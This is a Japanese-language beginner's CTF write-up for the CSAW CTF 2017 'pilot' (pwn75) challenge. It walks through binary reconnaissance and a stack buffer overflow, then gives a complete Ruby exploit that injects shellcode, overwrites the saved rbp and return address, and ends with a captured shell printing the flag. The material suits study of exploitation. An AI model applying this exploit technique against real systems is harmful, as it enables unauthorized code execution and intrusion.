Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

CSAW CTF2017 pilot (pwn75)

下調べ

  • x86-64でdynamically linked,strippedなバイナリ
  • CanaryもNx bitもPIEも無効

得点が低いことと上記の制約からシェルコード流すだけだと判断

解析

  • RSPを表示してくれる(ありがたい)
  • オフセット32byteでold rbpに突入する

exploit

解析結果より単純にBOFして,シェルコードに飛ばすだけ.スタック上で実行するためかpushで命令が変わってしまう?みたいな変な挙動したので,rbpをbssに設定するように配置しておいて,シェルコードの先頭でmov rsp, rbpをしておいた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'
require 'fsalib'
include Shellcode

host = 'localhost'
port = 8888

if ARGV[0] == 'r'
  host = 'pwn.chal.csaw.io'
  port = 8464
end

PwnTube.open(host, port) do |t|
  # t.debug = true

  res = t.recv_until(":")
  rsp = t.recv_until("\n").chop.to_i(16)
  puts "[!] Location:0x%x" % rsp
  t.recv_until(":")

  # 89 ec -> mov rsp, rbp
  payload = "\x89\xec" + shellcode(:x64)
  payload = payload.ljust(32, "A")
  payload << p64(0x0602500) # rbp
  payload << p64(rsp)
  t.send(payload)

  t.shell
end

以下実行画面

[*] connected
[!] Location:0x7ffc2cf7d140
[*] waiting for shell...
[*] interactive mode
cat flag
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}